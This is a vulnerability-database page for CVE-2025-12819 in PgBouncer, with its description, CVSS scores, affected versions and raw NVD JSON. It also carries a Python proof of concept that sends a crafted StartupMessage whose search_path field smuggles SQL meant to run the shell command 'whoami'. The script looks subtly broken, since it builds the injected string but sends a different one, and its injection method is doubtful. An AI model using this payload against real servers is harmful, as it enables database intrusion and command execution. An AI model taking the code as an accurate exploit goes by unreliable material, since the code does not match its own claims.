Security Vulnerability Report
中文
CVE-2025-12819 CVSS 7.5 HIGH

CVE-2025-12819

Published: 2025-12-03 19:15:55
Last Modified: 2025-12-27 16:15:52
Source: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

Description

Untrusted search path in auth_query connection handler in PgBouncer before 1.25.1 allows an unauthenticated attacker to execute arbitrary SQL during authentication via a malicious search_path parameter in the StartupMessage.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pgbouncer:pgbouncer:*:*:*:*:*:*:*:* - VULNERABLE
PgBouncer < 1.25.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12819 PoC - PgBouncer Untrusted Search Path SQL Injection This PoC demonstrates the SQL injection vulnerability in PgBouncer's auth_query handler. """ import socket import struct def create_startup_message(client_pid, secret, malicious_search_path): """Create a PostgreSQL StartupMessage with malicious search_path""" # PostgreSQL protocol version (3.0) protocol_version = struct.pack('!I', 196608) # Build message parameters params = b'' params += b'user\x00postgres\x00' params += b'database\x00postgres\x00' # Malicious search_path injection # This injects SQL that creates a malicious function injected_sql = f"'; CREATE EXTENSION IF NOT EXISTS pg_exec; SELECT pg_exec('whoami'); '--" params += f'search_path\x00{injected_sql}\x00'.encode() # Calculate message length msg = protocol_version + params + b'\x00' length = struct.pack('!I', len(msg) + 4) return length + msg def send_exploit(target_host, target_port=5432): """Send exploit payload to PgBouncer""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_host, target_port)) print(f"[*] Connected to {target_host}:{target_port}") # Create malicious StartupMessage payload = create_startup_message( client_pid=1234, secret='', malicious_search_path="; SELECT 1; --" ) print(f"[*] Sending malicious StartupMessage...") sock.sendall(payload) # Wait for response try: response = sock.recv(4096) print(f"[*] Received response: {response[:100]}") except socket.timeout: print("[*] No response received (may indicate successful injection)") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() if __name__ == '__main__': import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_host> [target_port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5432 send_exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12819", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2025-12-03T19:15:55.227", "lastModified": "2025-12-27T16:15:51.840", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Untrusted search path in auth_query connection handler in PgBouncer before 1.25.1 allows an unauthenticated attacker to execute arbitrary SQL during authentication via a malicious search_path parameter in the StartupMessage."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-426"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pgbouncer:pgbouncer:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.25.1", "matchCriteriaId": "CE71D84A-CE1D-4AE3-9618-49027227EEBE"}]}]}], "references": [{"url": "https://www.pgbouncer.org/changelog.html#pgbouncer-125x", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "tags": ["Release Notes"]}, {"url": "https://lists.debian.org/debian-lts-announce/2025/12/msg00033.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}